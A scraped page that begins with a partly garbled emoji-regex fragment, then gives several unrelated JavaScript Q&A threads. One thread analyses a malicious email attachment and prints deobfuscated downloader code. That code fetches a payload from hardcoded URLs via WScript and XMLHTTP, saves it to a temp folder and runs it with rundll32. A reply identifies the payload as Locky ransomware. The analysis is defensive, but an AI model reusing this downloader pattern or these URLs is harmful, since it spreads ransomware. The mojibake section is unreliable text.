'\ud83d\udc20|\ud83d\udc21|\ud83d\udc22|\ud83d\udc23|\ud83d\udc24|\ud83d\udc25|\ud83d\udc26|\ud83d\udc27|' +
'\ud83d\udc28|\ud83d\udc29|\ud83d\udc2a|\ud83d\udc2b|\ud83d\udc2c|\ud83d\udc2d|\ud83d\udc2e|\ud83d\udc2f|' +
'\ud83d\udc30|\ud83d\udc31|\ud83d\udc32|\ud83d\udc33|\ud83d\udc34|\ud83d\udc35|\ud83d\udc36|\ud83d\udc37|' +
'\ud83d\udc38|\ud83d\udc39|\ud83d\udc3a|\ud83d\udc3b|\ud83d\udc3c|\ud83d\udc3d|\ud83d\udc3e|\ud83d\udc40|' +
'\ud83d\udc42|\ud83d\udc43|\ud83d\udc44|\ud83d\udc45|\ud83d\udc46|\ud83d\udc47|\ud83d\udc48|\ud83d\udc49|' +
'\ud83d\udc4a|\ud83d\udc4b|\ud83d\udc4c|\ud83d\udc4d|\ud83d\udc4e|\ud83d\udc4f|\ud83d\udc50|\ud83d\udc51|' +
'\ud83d\udc52|\ud83d\udc53|\ud83d\udc54|\ud83d\udc55|\ud83d\udc56|\ud83d\udc57|\ud83d\udc58|\ud83d\udc59|' +
'\ud83d\udc5a|\ud83d\udc5b|\ud83d\udc5c|\ud83d\udc5d|\ud83d\udc5e|\ud83d\udc5f|\ud83d\udc60|\ud83d\udc61|' +
'\ud83d\udc62|\ud83d\udc63|\ud83d\udc64|\ud83d\udc65|\ud83d\udc66|\ud83d\udc67|\ud83d\udc68|\ud83d\udc69|' +
'\ud83d\udc6a|\ud83d\udc6b|\ud83d\udc6c|\ud83d\udc6d|\ud83d\udc6e|\ud83d\udc6f|\ud83d\udc70|\ud83d\udc71|' +
'\ud83d\udc72|\ud83d\udc73|\ud83d\udc74|\ud83d\udc75|\ud83d\udc76|\ud83d\udc77|\ud83d\udc78|\ud83d\udc79|' +
'\ud83d\udc7b|\ud83d\udc7c|\ud83d\udc7d|\ud83d\udc7e|\ud83d\udc7f|\ud83d\udc80|\ud83d\udc81|\ud83d\udc82|' +
'\ud83d\udc84|\ud83d\udc85|\ud83d\udc86|\ud83d\udc87|\ud83d\udc88|\ud83d\udc89|\ud83d\udc8a|\ud83d\udc8b|' +
'\ud83d\udc8c|\ud83d\udc8d|\ud83d\udc8e|\ud83d\udc8f|\ud83d\udc90|\ud83d\udc91|\ud83d\udc92|\ud83d\udc93|' +
'\ud83d\udc94|\ud83d\udc95|\ud83d\udc96|\ud83d\udc97|\ud83d\udc98|\ud83d\udc99|\ud83d\udc9a|\ud83d\udc9b|' +
'\ud83d\udc9c|\ud83d\udc9d|\ud83d\udc9e|\ud83d\udc9f|\ud83d\udca0|\ud83d\udca1|\ud83d\udca2|\ud83d\udca3|' +
'\ud83d\udca4|\ud83d\udca5|\ud83d\udca6|\ud83d\udca7|\ud83d\udca8|\ud83d\udca9|\ud83d\udcaa|\ud83d\udcab|' +
'\ud83d\udcac|\ud83d\udcad|\ud83d\udcae|\ud83d\udcaf|\ud83d\udcb0|\ud83d\udcb1|\ud83d\udcb2|\ud83d\udcb3|' +
'\ud83d\udcb4|\ud83d\udcb5|\ud83d\udcb6|\ud83d\udcb7|\ud83d\udcb8|\ud83d\udcb9|\ud83d\udcba|\ud83d\udcbb|' +
'\ud83d\udcbc|\ud83d\udcbd|\ud83d\udcbe|\ud83d\udcbf|\ud83d\udcc0|\ud83d\udcc1|\ud83d\udcc2|\ud83d\udcc3|' +
'\ud83d\udcc4|\ud83d\udcc5|\ud83d\udcc6|\ud83d\udcc7|\ud83d\udcc8|\ud83d\udcc9|\ud83d\udcca|\ud83d\udccb|' +
'\ud83d\udccc|\ud83d\udccd|\ud83d\udcce|\ud83d\udccf|\ud83d\udcd0|\ud83d\udcd1|\ud83d\udcd2|\ud83d\udcd3|' +
'\ud83d\udcd4|\ud83d\udcd5|\ud83d\udcd6|\ud83d\udcd7|\ud83d\udcd8|\ud83d\udcd9|\ud83d\udcda|\ud83d\udcdb|' +
'\ud83d\udcdc|\ud83d\udcdd|\ud83d\udcde|\ud83d\udcdf|\ud83d\udce0|\ud83d\udce1|\ud83d\udce2|\ud83d\udce3|' +
'\ud83d\udce4|\ud83d\udce5|\ud83d\udce6|\ud83d\udce7|\ud83d\udce8|\ud83d\udce9|\ud83d\udcea|\ud83d\udceb|' +
'\ud83d\udcec|\ud83d\udced|\ud83d\udcee|\ud83d\udcef|\ud83d\udcf0|\ud83d\udcf1|\ud83d\udcf2|\ud83d\udcf3|' +
'\ud83d\udcf4|\ud83d\udcf5|\ud83d\udcf6|\ud83d\udcf7|\ud83d\udcf9|\ud83d\udcfa|\ud83d\udcfb|\ud83d\udcfc|' +
'\ud83d\udd00|\ud83d\udd01|\ud83d\udd02|\ud83d\udd03|\ud83d\udd04|\ud83d\udd05|\ud83d\udd06|\ud83d\udd07|' +
'\ud83d\udd08|\ud83d\udd09|\ud83d\udd0a|\ud83d\udd0b|\ud83d\udd0c|\ud83d\udd0d|\ud83d\udd0e|\ud83d\udd0f|' +
'\ud83d\udd10|\ud83d\udd11|\ud83d\udd12|\ud83d\udd13|\ud83d\udd14|\ud83d\udd15|\ud83d\udd16|\ud83d\udd17|' +
'\ud83d\udd18|\ud83d\udd19|\ud83d\udd1a|\ud83d\udd1b|\ud83d\udd1c|\ud83d\udd1d|\ud83d\udd1e|\ud83d\udd1f|' +
'\ud83d\udd20|\ud83d\udd21|\ud83d\udd22|\ud83d\udd23|\ud83d\udd24|\ud83d\udd25|\ud83d\udd26|\ud83d\udd27|' +
'\ud83d\udd28|\ud83d\udd29|\ud83d\udd2a|\ud83d\udd2b|\ud83d\udd2c|\ud83d\udd2d|\ud83d\udd2e|\ud83d\udd2f|' +
'\ud83d\udd30|\ud83d\udd31|\ud83d\udd32|\ud83d\udd33|\ud83d\udd34|\ud83d\udd35|\ud83d\udd36|\ud83d\udd37|' +
'\ud83d\udd38|\ud83d\udd39|\ud83d\udd3a|\ud83d\udd3b|\ud83d\udd3c|\ud83d\udd3d|\ud83d\udd50|\ud83d\udd51|' +
'\ud83d\udd52|\ud83d\udd53|\ud83d\udd54|\ud83d\udd55|\ud83d\udd56|\ud83d\udd57|\ud83d\udd58|\ud83d\udd59|' +
'\ud83d\udd5a|\ud83d\udd5b|\ud83d\udd5c|\ud83d\udd5d|\ud83d\udd5e|\ud83d\udd5f|\ud83d\udd60|\ud83d\udd61|' +
'\ud83d\udd62|\ud83d\udd63|\ud83d\udd64|\ud83d\udd65|\ud83d\udd66|\ud83d\udd67|\ud83d\uddfb|\ud83d\uddfc|' +
'\ud83d\uddfd|\ud83d\uddfe|\ud83d\uddff|\ud83d\ude00|\ud83d\ude01|\ud83d\ude02|\ud83d\ude03|\ud83d\ude04|' +
'\ud83d\ude05|\ud83d\ude06|\ud83d\ude07|\ud83d\ude08|\ud83d\ude09|\ud83d\ude0a|\ud83d\ude0b|\ud83d\ude0c|' +
'\ud83d\ude0d|\ud83d\ude0e|\ud83d\ude0f|\ud83d\ude10|\ud83d\ude11|\ud83d\ude12|\ud83d\ude13|\ud83d\ude14|' +
'\ud83d\ude15|\ud83d\ude16|\ud83d\ude17|\ud83d\ude18|\ud83d\ude19|\ud83d\ude1a|\ud83d\ude1b|\ud83d\ude1c|' +
'\ud83d\ude1d|\ud83d\ude1e|\ud83d\ude1f|\ud83d\ude20|\ud83d\ude21|\ud83d\ude22|\ud83d\ude23|\ud83d\ude24|' +
'\ud83d\ude25|\ud83d\ude26|\ud83d\ude27|\ud83d\ude28|\ud83d\ude29|\ud83d\ude2a|\ud83d\ude2b|\ud83d\ude2c|' +
'\ud83d\ude2d|\ud83d\ude2e|\ud83d\ude2f|\ud83d\ude30|\ud83d\ude31|\ud83d\ude32|\ud83d\ude33|\ud83d\ude34|' +
'\ud83d\ude35|\ud83d\ude36|\ud83d\ude37|\ud83d\ude38|\ud83d\ude39|\ud83d\ude3a|\ud83d\ude3b|\ud83d\ude3c|' +
'\ud83d\ude3d|\ud83d\ude3e|\ud83d\ude3f|\ud83d\ude40|\ud83d\ude45|\ud83d\ude46|\ud83d\ude47|\ud83d\ude48|' +
'\ud83d\ude49|\ud83d\ude4a|\ud83d\ude4b|\ud83d\ude4c|\ud83d\ude4d|\ud83d\ude4e|\ud83d\ude4f|\ud83d\ude80|' +
'\ud83d\ude81|\ud83d\ude82|\ud83d\ude83|\ud83d\ude84|\ud83d\ude85|\ud83d\ude86|\ud83d\ude87|\ud83d\ude88|' +
'\ud83d\ude89|\ud83d\ude8a|\ud83d\ude8b|\ud83d\ude8c|\ud83d\ude8d|\ud83d\ude8e|\ud83d\ude8f|\ud83d\ude90|' +
'\ud83d\ude91|\ud83d\ude92|\ud83d\ude93|\ud83d\ude94|\ud83d\ude95|\ud83d\ude96|\ud83d\ude97|\ud83d\ude98|' +
'\ud83d\ude99|\ud83d\ude9a|\ud83d\ude9b|\ud83d\ude9c|\ud83d\ude9d|\ud83d\ude9e|\ud83d\ude9f|\ud83d\udea0|' +
'\ud83d\udea1|\ud83d\udea2|\ud83d\udea3|\ud83d\udea4|\ud83d\udea5|\ud83d\udea6|\ud83d\udea7|\ud83d\udea8|' +
'\ud83d\udea9|\ud83d\udeaa|\ud83d\udeab|\ud83d\udeac|\ud83d\udead|\ud83d\udeae|\ud83d\udeaf|\ud83d\udeb0|' +
'\ud83d\udeb1|\ud83d\udeb2|\ud83d\udeb3|\ud83d\udeb4|\ud83d\udeb5|\ud83d\udeb6|\ud83d\udeb7|\ud83d\udeb8|' +
'\ud83d\udeb9|\ud83d\udeba|\ud83d\udebb|\ud83d\udebc|\ud83d\udebd|\ud83d\udebe|\ud83d\udebf|\ud83d\udec0|' +
'\ud83d\udec1|\ud83d\udec2|\ud83d\udec3|\ud83d\udec4|\ud83d\udec5|' +
// JSLint did not accept these as legitimate escape sequences
// '\u0023\u20e3|\u0030\u20e3|\u0031\u20e3|' +
// '\u0032\u20e3|\u0033\u20e3|\u0034\u20e3|\u0035\u20e3|\u0036\u20e3|\u0037\u20e3|\u0038\u20e3|\u0039\u20e3|' +
// '\u3030|\u2705|\u2728|\u2122|\u23e9|\u23ea|\u23eb|\u23ec|\u23f0|\u23f3|\u26ce|\u270a|\u270b|\u274c|\u274e|' +
// '\u27b0|\u27bf|\u2753|\u2754|\u2755|\u2795|\u2796|\u2797|\u00a9|\u00ae|\ue50a|' +
// '(\ud83c\udd7f|\ud83c\ude1a|\ud83c\ude2f|\ud83c\udc04|\u2935|\u3297|\u3299|\u2049|\u2139|\u2194|\u2195|' +
// '\u2196|\u2197|\u2198|\u2199|\u2600|\u2601|\u2611|\u2614|\u2615|\u2648|\u2649|\u2650|\u2651|\u2652|\u2653|' +
// '\u2660|\u2663|\u2665|\u2666|\u2668|\u2693|\u2702|\u2708|\u2709|\u2712|\u2714|\u2716|\u2733|\u2734|\u203c|' +
// '\u21a9|\u21aa|\u2744|\u231a|\u231b|\u24c2|\u25aa|\u25ab|\u25b6|\u25c0|\u25fb|\u25fc|\u25fd|\u25fe|\u260e|' +
// '\u261d|\u263a|\u264a|\u264b|\u264c|\u264d|\u264e|\u264f|\u267b|\u267f|\u26a0|\u26a1|\u26aa|\u26ab|\u26bd|' +
// '\u26be|\u26c4|\u26c5|\u26d4|\u26ea|\u26f2|\u26f3|\u26f5|\u26fa|\u26fd|\u270c|\u270f|\u27a1|\u2b05|\u2b06|' +
// '\u2b07|\u2b1b|\u2b1c|\u2b50|\u2b55|\u2747|\u303d|\u2757|\u2764|\u2934)([\ufe0e\ufe0f]?)', 'g'),
'#โฃ|0โฃ|1โฃ|' +
'2โฃ|3โฃ|4โฃ|5โฃ|6โฃ|7โฃ|8โฃ|9โฃ|' +
'ใฐ|โ
|โจ|โข|โฉ|โช|โซ|โฌ|โฐ|โณ|โ|โ|โ|โ|โ|' +
'โฐ|โฟ|โ|โ|โ|โ|โ|โ|ยฉ|ยฎ|๎|' +
'(๐
ฟ|๐|๐ฏ|๐|โคต|ใ|ใ|โ|โน|โ|โ|' +
'โ|โ|โ|โ|โ|โ|โ|โ|โ|โ|โ|โ|โ|โ|โ|' +
'โ |โฃ|โฅ|โฆ|โจ|โ|โ|โ|โ|โ|โ|โ|โณ|โด|โผ|' +
'โฉ|โช|โ|โ|โ|โ|โช|โซ|โถ|โ|โป|โผ|โฝ|โพ|โ|' +
'โพ|โ|โ
|โ|โช|โฒ|โณ|โต|โบ|โฝ|โ|โ|โก|โฌ
|โฌ|' +
'โฌ|โฌ|โฌ|โญ|โญ|โ|ใฝ|โ|โค|โคด)([๏ธ๏ธ]?)', 'g');
Related
How to get regex with replace method? In my case I've got string which uses char / between.
input:
var string = "cn/" + companyName + "/st/" + state + "/ic/" + incCi + "/pr/" + priority + "/es/" + emplSystem + "/mc/" + mainCategory + "/sc/" + subCategory + "/ty/" + type;
output:
"cn/Nemesis Group/st/2/ic/null/pr/1 - High/es/null/mc/Add/Button/sc/Core/Label/ty/str"
variable mainCategory and subCategory returns string 'Add/Button' and 'Core/Label'
How to replace 'Add/Button' to 'Add%2FButton' and 'Core/Label' to 'Core%2FLabel' without changing any other char?
string.replace("\/", "%2F")
will change all char / to %2F
You can use encodeURIComponent() and decodeURIComponent() to transform this String
Example:
const companyName = "Company",
state = "State",
incCi = "IncCi",
priority = "Priority",
emplSystem = "EmplSystem",
mainCategory = 'Add/Button',
subCategory = 'Core/Label',
type = "Type";
var string = "cn/" + companyName + "/st/" + state + "/ic/" + incCi + "/pr/" + priority + "/es/" + emplSystem +
"/mc/" + encodeURIComponent(mainCategory) +
"/sc/" + encodeURIComponent(subCategory) + "/ty/" + type;
console.log(string)
It sounds to me like you are looking to encode the url. You can use encodeURI in JS to encode a url.
let encodedURL = encodeURI(url);
You can read more about it here.
If you want to encode the string altogether without ignoring any domain related parts, you can us encodeURIComponent()
let encodedURL = encodeURIComponent(url);
You can read more about their differences here.
EDIT:
If you are not encoding a url and you just want to repalce / with %2F only in mainCategory and subCategory then you need to run the regex on the string itself before joining them.
var string = "cn/" + companyName +
"/st/" + state +
"/ic/" + incCi +
"/pr/" + priority +
"/es/" + emplSystem +
"/mc/" + mainCategory.replace("\/", "%2F") +
"/sc/" + subCategory.replace("\/", "%2F") +
"/ty/" + type;
I need to break a string apart after certain characters.
document.getElementById("result").innerHTML = Monster + "<p id='vault" + loop + "'> || HP: " + HP + "</p>" + " || Defense: " + Def + " || Attack: " + ATK + " || Can it Dodge/Block: " + DB + " || Can it retaliate: " + RET + " || Initative: " + INT + " || Exp: " + MEXP + " <input type='submit' class='new' onclick='Combat(" + loop + ")' value='FIGHT!'></input>" + "<br><br>" + A;
function Chest(id){
window.open('LootGen.html', '_blank');
}
function Combat(id){
document.getElementById("C").value = document.getElementById("vault" + id).innerHTML;
}
When this runs the value that results is:
|+HP:+20
However I only want '20' part,now keep in mind that this variable does change and so I need to use substrings to somehow pull that second number after the +. I've seen this done with:
var parameters = location.search.substring(1).split("&");
This doesn't work here for some reason as first of all the var is an innher html.
Could someone please point me in the write direction as I'm not very good at reading docs.
var text = "|+HP:+20";
// Break string into an array of strings and grab last element
var results = text.split('+').pop();
References:
split()
pop()
using a combination of substring and lastIndexOf will allow you to get the substring from the last spot of the occurrence of the "+".
Note the + 1 moves the index to exclude the "+" character. To include it you would need to remove the + 1
function Combat(id){
var vaultInner = document.getElementById("vault" + id).innerHTML;
document.getElementById("C").value = vaultInner.substring(vaultInner.lastIndexOf("+") + 1);
}
the code example using the split would give you an array of stuff separated by the plus
function Combat(id){
//splits into an array
var vaultInner = document.getElementById("vault" + id).innerHTML.split("+");
//returns last element
document.getElementById("C").value = vaultInner[vaultInner.length -1];
}
Someone has been sending JS files in an attempt to try and lure me (and presumably others) into running the file and compromising their system.
Thing is, I have Mac and taking a look at this code it doesn't seem to be useful on Mac. As a JavaScript developer I'm not really sure how useful it could be, even on a Windows computer.
Code is too large to fit here so I posted it up on GitHub:
https://gist.github.com/anonymous/dfead201c8e5dc48f98548d0bdb7ac26
What the heck does this code do?
I ran it in a sandbox and it results in a console error.
Decided to post here the results I found (and not in a comment) as it takes a bit more than 600 chars ;).
So - the first run of the script (as posted on by comment) will give this code after obfuscation:
http://pastebin.com/cFuijfFS
Working on that - the code will run the following:
var IGv7=[Yc+Hu1+Yq8+Jj+KFg2+Ka6+Hk+OHi6+ULs4+EBb, Tj4 + Dk7+Pc2+Hj8+As + YXv5+TIk0+Rj+Kb3+NZa2+DVq+Vx+KIi+Yh4 + XTc5+NHe3+Pv6+ATm5, Tj4 + Dk7+Gl+QLu+Pr+KIi+So+Af1+Nu + Zz+Kb + Zn1+Ik+Vy4, Yc+It+Nd+Ty+Lc+DFu+Lf4+LEa4+Zh1 + Kc+LSk+Tu6, Vg7 + Tp7+AUi+OPo + Oi+NGu8+DXl1+Px9 + Fa + Js9+KPm];
// var IGv7=["http://econopaginas.com/kudrd", "http://baer-afc2.homepage.t-online.de/4yhgvna", "http://jhengineering.szm.com/on9wjn", "http://otwayorchard.net/eo240k", "http://rejoincomp2.in/1tdqo6"]
var Xl3=WScript[Sk6 + STd1 + Jz + GNu0](Zn4 + ALt + Qs8 + UQw);
// Xl3=WScript["CreateObject"]("WScript.Shell");
// Lets say X13 == SHELL
var XWe=Xl3.ExpandEnvironmentStrings(ZFq + YMy6);
// var XWe=SHELL.ExpandEnvironmentStrings("%TEMP%/")
var NQf6=XWe + Vm0 + LCo + Bp + Ty0;
// var NQf6=C:/TEMP/XfZn0ghPqqlucK
var Nt5=NQf6 + Aq4 + FQn5;
// var Nt5="C:/TEMP/XfZn0ghPqqlucK.dll"
var Vu = Xl3.Environment(Cf8 + EMb);
// var Vu = C:/system
// PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4 == "PROCESSOR_ARCHITECTURE"
if (Vu(PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4).toLowerCase() == "amd64")
{
// Check if we are in amd64
var UFn4 = Xl3.ExpandEnvironmentStrings(OMi0);
// var UFn4 = "%SystemRoot%\SysWOW64\rundll32.exe"
}
else
{
var UFn4 = Xl3.ExpandEnvironmentStrings(DCx);
// var UFn4 = "%SystemRoot%\system32\rundll32.exe"
}
...
var SPz0=[WQp1 + WCl1 + TYr1 + Np, Wd + CMz6 + Ey7 + GXj + Kk2 + Fb8 + POy1];
// SPz0=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]
// Try to create the XMLHTTP object
for (var Lp9=0; Lp9 < SPz0[ETi8 + Fp]; Lp9++)
{
try
{
var MBi0=WScript[Sk6 + STd1 + Jz + GNu0](SPz0[Lp9]);
break;
}
catch (e)
{
continue;
}
};
var OPr3 = "";
// FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6 == "Scripting.FileSystemObject"
var fso = new ActiveXObject(FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6);
var MTm6 = uheprng(Math.random().toString());
var ENa6=1;
do
{
// Check ACTIVEXOBJECT_FileSystemObject[FileExists](dll file from before)
if (fso[DQq + Js + Va + Vn](Nt5))
{
var Em = fso.GetFile(Nt5);
var DAb4 = Em.ShortPath;
OPr3 = DAb4+ZYz;
// check if the same dll file with ".txt" extension exists
if (fso[DQq + Js + Va + Vn](OPr3)) {
// run quite()
this[Dv + Dx + Go7][Jh + Nz3](824 - 824);
}
}
var HFw3 = MTm6(IGv7[ETi8 + Fp]);
try
{
if (1== ENa6)
{
// Do a GET request to the url "http://jhengineering.szm.com/on9wjn"
MBi0[NOc6](YRk1 + XWj, IGv7[HFw3++ % IGv7[ETi8 + Fp]], false);
MBi0[BBw + Co]();
}
if (MBi0.readystate < 4)
{
// WScript["Sleep"](100);
WScript[SJl + Hj](100);
continue;
}
var Nf=WScript[Sk6 + STd1 + Jz + GNu0](YPt6+CXb+Tv0+Da1 + Ng2);
// var Nf=WScript["CreateObject"]("ADODB.Stream")
// ADOBE_SCRIPT[open]()
Nf[NOc6]();
// ADOBE_SCRIPT[type] = 1
Nf[Aj9]=Yz;
// ADOBE_SCRIPT[write](content from the XMLHTTPRequest we just did)
Nf[Vr3](MBi0[Nb + Re + HKj + Zk]);
// Set position of the adodb.stream to 0
Nf[Hz + QWh5 + VSo5]=0;
// Save the content to the file NQf6 (the file in c:/temp)
Nf[WGa + Yh + OAk](NQf6, IDz0);
// close the file
Nf[Cz + FLv2]();
Still working on the rest, will update here with more info :)
It seems to run wscript which is a windows program to make administrative changes, yes that sounds like bad news for windows users who run this :P
And it uses 2 arrays to obfuscate the code, that will be run with eval, if anyone is not on a phone like me, copy the last lines starting by var Q1 and replace eval with console.log. this will output the js code that will probably show what evil it contains. It might be minified so run it trough a js prettifier, maybe it will have arrays again to obfuscate code again LOL, code inception.
Sadly I'm on a phone otherwise it would be a nice puzzle xD
Edit: too curious, gonna look into it with jsfiddle on my phone, touchscreens are a nightmare with stuff like this..
Edit2:
Code inception!
https://jsfiddle.net/3sn6o9o9/
.
See the js output it generates, more obfuscation, we must go deeper!
To sum it up: this is a downloader. It downloads an encrypted DLL from one of four hardcoded URLs, decrypts it (simple XOR with a PRNG stream) and then runs using rundll32 (with a specified parameter). The DLL contains Locky ransomware.
I am trying to parse a formula, and display it on screen.
For example I should be able to take <path>T Q, where <path>T cannot change, and Q is a variable. It accepts it,however when printing it on screen again the only thing that will appear is T Q. I want <path>T Q to appear fully.
Other examples of accepted formulae are
(B & A)
~A
~(B&A)
<path>T (B & A)
etc
My code is something like this
var beginPartBUC = '^<path>\\(',
beginPart = '^\(',
unaryPart = '(?:~|<path>T)',
propOrBinaryPart = '(?:\\w+|\\(.*\\))',
subwffPart = unaryPart + '*' + propOrBinaryPart,
endPart = '\\)$';
// binary connective regexes
var conjRegEx = new RegExp(beginPart + '(' + subwffPart + ')&(' + subwffPart + ')' + endPart), // (p&q)
implRegEx = new RegExp(beginPart + '(' + subwffPart + ')->(' + subwffPart + ')' + endPart), // (p->q)
equiRegEx = new RegExp(beginPart + '(' + subwffPart + ')<->(' + subwffPart + ')' + endPart); // (p<->q)
// untilRegEx = new RegExp(beginPartBUC + '(' + subwffPart + ')U(' + subwffPart + ')' + endPart); //<path>(p U q))
As Barmar pointed out, you're writing to html and <path> resembles valid html. You can do this
currentFormula.html('<strong>Current formula:</strong><br>' + wff.ascii.replace(/>/g, ">").replace(/</g, "<"))
As an additional note, backticks are used on StackOverflow like this: `sample code` which produces sample code. This feature is available in comments as well.
Alternatively, in posts (not comments), you can indent each line with a tab or four spaces (easily done by pressing { } in the post editor.
I'm trying to use CSS Transitions with a :before selector and currently the only browser that supports this is Firefox. I can create a jQuery fallback with no problem, but I'm not sure how to do feature detection with a pseudo-element like that.
Here's a JSBin which shows the HTML and CSS that I'm working with.
(... and here's a similar SO question, but about using regular elements.)
Update: wow, even the platform preview of IE10 has support for this, what's up with that webkit?!
(Edit: solutions moved to answer below)
I know the recommendation states that you should use fallbacks and not polyfills, but just between you and me, using unconditional polyfills isn't all that awful for bleeding edge stuff like CSS3.
If you must know the feature status, you could use Modernizr, but if you're using a library anyway you might as well just use Selectivizr and get full CSS support cross browser.
Aha! Here is a very nice fiddle from the Modernizr folks over at github. Basically it checks if the computed style value for a pseudoelement has changed from its original value within a timespan that is shorter than the transition duration. The problem, of course, is the unreliability of using setTimeouts (syncing problems) and the fact that you need to postpone everything until the setTimeout test is complete. Check your console to see whether the browser has pseudoelement transitions or not.
To be fair, upcoming IE10 does support transitions on generated content (tested myself on Windows 8 Enterprise trial).
Actually, I'm sure there is no need for detection of this type of things. Transitions are just slight improvement, not a critical functionality. So it's perfectly OK to have transitions working in more advanced browsers while not having it in less advanced ones.
But if you need to detect it, considering this cannot be reliably detected directly, you could use browser engine detection by testing existence of standard global JS objects. For example, since we know IE10 has support for transitioning generated content, we can quite future-proofly filter IE9 and older IEs with document.all && !window.atob condition. Opera can be detected by testing existence of window.opera, so when Opera will fix this issue, we could use window.opera && !someGlobalObjectAddedInFixedOpera condition to detect older versions. It's possible that WebKit can be detected some similar way.
Thanks to #Asad for digging up some handy code, I was able to come up with a nice solution here's the jQuery version:
$(function() {
var isTransitionSupported = (function (pseudo, transProp, transPropStart, transPropEnd) {
var id = pseudo + transProp + '-' + (new Date()).valueOf(),
prefixes = ['o', 'ms', 'moz', 'webkit'],
prop = "transition: " + transProp + " 99s linear;",
allprops = (function () {
var props = "";
for (var l = prefixes.length; l--;) {
props += "-" + prefixes[l] + "-" + prop;
}
return props + prop;
}()),
$css = $("<style>" +
"#" + id + "{position:absolute;left:-999em;}" +
"#" + id + ":" + pseudo + "{display:block;content:'M';" + transProp + ":" + transPropStart + ";}" +
"#" + id + ".t:" + pseudo + "{" + allprops + transProp + ":" + transPropEnd + ";}" +
"</style>"),
$bct = $('<div id="' + id + '" />');
$css.appendTo("head");
$bct.appendTo("body");
try {
// get style value before any changes
window.getComputedStyle($bct[0], ':' + pseudo).getPropertyValue(transProp);
$bct.addClass("t");
// test style after changes
return (window.getComputedStyle($bct[0], ':' + pseudo).getPropertyValue(transProp) !== transPropEnd);
} catch (e) {}
return false;
}("before", "width", "0px", "1000px"));
});
Here's a version that doesn't use jQuery:
var isTransitionSupported = (function (pseudo, transProp, transPropStart, transPropEnd) {
var ticks = (new Date()).valueOf(),
id = pseudo + transProp + '-' + ticks,
prefixes = ['o', 'ms', 'moz', 'webkit'],
prop = "transition: " + transProp + " 99s linear;",
allprops = (function () {
var props = "";
for (var l = prefixes.length; l--;) {
props += "-" + prefixes[l] + "-" + prop;
}
return props + prop;
}()),
body = document.body || document.createElement('body'),
node = document.createElement('div'),
css = "<style>" +
"#" + id + "{position:absolute;left:-999em;}" +
"#" + id + ":" + pseudo + "{display:block;content:'M';" + transProp + ":" + transPropStart + ";}" +
"#" + id + ".t" + ticks + ":" + pseudo + "{" + allprops + transProp + ":" + transPropEnd + ";}" +
"</style>",
bct = document.createElement('div'),
isSupported = false;
bct.id = id;
node.innerHTML += css;
node.appendChild(bct);
body.appendChild(node);
try {
// get style value before any changes
window.getComputedStyle(bct, ':' + pseudo).getPropertyValue(transProp);
bct.className += "t" + ticks;
// test style after changes
isSupported = (window.getComputedStyle(bct, ':' + pseudo).getPropertyValue(transProp) !== transPropEnd);
} catch (e) {}
node.parentNode.removeChild(node);
return isSupported;
}("before", "width", "0px", "1000px"));
document.documentElement.className += ' ' + (isTransitionSupported ? '' : 'no-') + "pseudo-trans";
Here's all that code in a gist on github, if anyone wants to fork and improve it.